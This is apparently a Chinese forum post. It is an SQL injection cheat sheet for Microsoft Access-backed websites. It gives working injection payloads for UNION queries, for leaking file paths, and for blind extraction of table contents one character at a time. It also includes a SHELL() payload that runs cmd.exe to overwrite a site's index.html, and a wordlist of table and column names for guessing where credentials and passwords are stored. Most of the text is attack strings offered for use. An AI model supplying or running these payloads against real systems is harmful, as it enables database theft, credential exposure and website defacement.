Access数据库注入

0x001:基础知识
    *
    默认用户:admin,密码:空。
    *
    注释符: Access中没有专门的注释符号.因此"/*", "--"和"#"都没法使用.但是可以使用空字符"NULL"()代替: ' UNION SELECT 1,1,1 FROM validTableName
    *
Access不支持多句执行
    *
Access支持联合查询,UNION后的FROM关键字必须使用一个已经存在的表名.
    *
附属查询: Access支持附属查询(例如:"TOP 1"用来返回第一行的内容) : ' AND (SELECT TOP 1 'someData' FROM validTableName)
    *
LIMIT不被支持,但是在查询中可以声明"TOP N"来限制返回内容的行数:  ' UNION SELECT TOP 3 AttrName FROM validTableName : 这条语句返回(前)3 行.
    *
让查询返回0行:在脚本在返回的HTML结果中只显示第一个查询的结果的时候非常有用:* ' AND 1=0 UNION SELECT AttrName1,AttrName2 FROM validTableName
    *
字符串连接:不支持CONCAT()函数. 可以使用"&"或"+"操作来俩接两个字符串.在使用的时侯必须对这两个操作符进行URLencode编码:
* ' UNION SELECT 'web' %2b 'app' FROM validTableName : 返回"webapp"
* ' UNION SELECT 'web' %26 'app' FROM validTableName : 返回"webapp"
    *
暴WEB路径:
可以通过对一个不存在的库进行SELECT操作.Access将回应一条包含有完整路径的错误信息
* ' UNION SELECT 1 FROM ThisIsAFakeName.FakeTable
    *
IF语句: 可以使用IIF()函数. 语法 : IIF(condition, true, false), ' UNION SELECT IIF(1=1, 'a', 'b') FROM validTableName : 返回 'a'
    *
验证文件是否存在:' UNION SELECT name FROM msysobjects IN '\boot.ini' : (如果文件存在)将会获得一条错误信息:it informs that the database format was not recognized。


0x002:注入步骤
    *
表名猜解: ' UNION SELECT 1 FROM table[i]
    *
列名猜解:  需要一个已知的表名和主查询的列的数目: ' UNION SELECT fieldName[j],1,1,1 FROM validTableName


你可以将上面的例子修改一下(将table改为fieldname),如果表不存在,将会返回一个列不存在的错误信息.
    *
列名枚举: 此原理已经在JBoss(一个使用Access存在漏洞的.jsp脚本)上测试通过 ,但是不敢保证在其他的环境下同样可用, 通常情况下,如果存在SQL注入漏洞,当你在URL参数后加一个"'"后,你将会得到一些错误信息,例如: Error (...) syntax (...) query (...) : " Id=0' "

        从这个信息可以得出当前表存在一个列"ID".通常程序员会使用同样的URL参数,列名及表名.当你知道一个参数后,就可以通过mssql来枚举其他表名和列名:
' GROUP BY Id现在你将获得一个新的错误信息,它包含了另一个新的列名.你可以继续像这样枚举其他的表名: ' GROUP BY Id, SecondAttrName, ...
0x003:与操作系统的交互
    *
安全提示:可以通过修改注册表来锁定一些受争议的函数的使用(比如SHELL(),等...):\\HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\engines\SandboxMode


它的默认值是2,因此这些函数默认不可用.在下面我将会向你介绍当注册表的值被设置为0的情况.
    *
  • 获取当前目录: 需要一个已知的表名和主查询的列的数目:
' UNION SELECT CurDir(),1,1 FROM validTableName    *
  • 执行系统命令:shell()函数可以用来执行系统命令:

 
' AND SHELL('cmd.exe /c echo owned > c:\path\name\index.html')
 0x004:Access的系统表
MSysAccessXML
    *
Id
    *
LValue
    *
ObjectGuid
    *
ObjectName
    *
Property
    *
Value


MSysACEs
    *
ACM
    *
FInheritable
    *
ObjectId
    *
SID


MSysObjects
    *
Connect
    *
Database
    *
DataCreate
    *
DataUpdate
    *
Flags
    *
ForeignName
    *
Id
    *
Lv
    *
LxExtra
    *
LvModule
    *
LvProp
    *
Name
    *
Owner
    *
ParentId
    *
RmtInfoLong
    *
RmtInfoShort
    *
Type


这条查询可以用来获得数据库中的表名:
' UNION SELECT Name FROM MSysObjects WHERE Type = 1
 0x005:盲注
    *
猜解表名:可以使用下面提供的字典来猜解表名.注入查询语句:

' AND (SELECT TOP 1 1 FROM TableNameToBruteforce[i])
在提交注入查询语句后,如果你获得的HTML返回和正常页面一样,则表存在.(因为 "AND 1"对查询没有任何影响).
    *
猜解列名: 在指导表名的情况下,使用如下查询:

' AND (SELECT TOP 1 FieldNameToBruteForce[j] FROM table)
用和第一步同样的方法判断列是否存在.
    *
猜解内容的行数: 在进一步的行动中,你必须知道表中内容的行数. 它在下面的查询中将被用作"TAB_LEN"变量:
' AND IIF((SELECT COUNT(*) FROM validTableName) = X, 1, 0)
 
这里的"X" 是大于0的任意值.可以使用老方法来判断"X"的准确值
 
0x006:猜解内容长度
 你能通过以下语句获取"ATTRIB"列的第一行的内容长度:
' AND IIF((SELECT TOP 1 LEN(ATTRIB) FROM validTableName) = X, 1, 0)
 可以通过以下语句猜解到 "ATTRIB"列中第二行到第TAB_LEN行的内容的长度 (这里N的值在2和TAB_LEN(在前面已经获得)之间):

' AND IIF((SELECT TOP N LEN(ATTRIB) FROM validTableName WHERE ATTRIB<>'value1' AND ATTRIB<>'value2' ...(etc)...) = KKK,1,0)
"KKK" 为大于0的任意值,使用ATTRIB<>'valueXXX'的原因是我们必须选择一个特定的行来猜解.我想到的方法是将之前得到的"TOP N"行的值排除掉,然后剩下的行就是正在猜解的行.当然,这里有一个前提"ATTRIB"必须是主键.这里有一个例子:
  A1              A2                    A3
1111           2222                 3333 
0000           4444                 oooo
aaaa           bbbb                 cccc  可以这样获取第一行的所有内容的长度:
' AND IIF((SELECT TOP 1 LEN(A1) FROM Table) = KKK, 1, 0)
' AND IIF((SELECT TOP 1 LEN(A1) FROM Table) = KKK, 1, 0)
' AND IIF((SELECT TOP 1 LEN(A3) FROM Table) = KKK, 1, 0)
然后就可以这样获取第二行的内容的长度(假设A1为表的主键):
' AND IIF((SELECT TOP 2 LEN(A1) FROM Table WHERE
A1 <>'1111') = KKK, 1, 0)
' AND IIF((SELECT TOP 2 LEN(A2) FROM Table WHERE
A1 <> '1111') = KKK, 1, 0)
'AND IIF((SELECT TOP 2 LEN(A3) FROM Table WHERE
A1 <> '1111') = KKK, 1, 0)
第三行也一样:
' AND IIF((SELECT TOP 3 LEN(A1) FROM Table WHERE
A1 <>'1111' AND A1 <> '0000') = KKK, 1, 0)
' AND IIF((SELECT TOP 3 LEN(A2) FROM Table WHERE
A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)
' AND IIF((SELECT TOP 3 LEN(A3) FROM Table WHERE
A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)

很明显,在猜解第一行以后的内容的长度(第2到第TAB_LEN行),你必须得到之前所有行的内容(你需要把它放在WHERE后)。
 最后:猜解内容。
假设攻击者已经知道了表和列名,他将使用这样的查询:
[size=16][b]' AND IIF((SELECT TOP N MID(ATTRIBxxx, XXX, 1) FROM validTableName WHERE ATT_key <>'value1' AND ATT_key <>'value2'
... etc ... ) = CHAR(YYY), 1, 0)[/b][/size]

"N"是要猜解的行, "XXX"是 "ATTRIBxxx"的第X个字节, "ATT_key"是表的的主键"YYY"是一个0到255之间的数.(它代表着一个字符的ASCII码).这里我们任然要使用前面提到的方法猜解其他行的内容.
 0x007:表名/列名(字典)
这里是一个小的表/列名样本字典
    *
account, accnts, accnt, user_id, members, usrs, usr2, accounts, admin, admins, adminlogin, auth, authenticate, authentication, account, access;
    *
customers, customer, config, conf, cfg;
    *
hash;
    *
login, logout, loginout, log;
    *
member, memberid;
    *
password, pass_hash, pass, passwd, passw, pword, pwrd, pwd;
    *
store, store1, store2, store3, store4, setting;
    *
username, name, user, user_name, user_username, uname, user_uname, usern, user_usern, un, user_un, usrnm, user_usrnm, usr, usernm, user_usernm, user_nm, user_password, userpass, user_pass, , user_pword, user_passw, user_pwrd, user_pwd, user_passwd;








 

0 个评论

要回复文章请先登录注册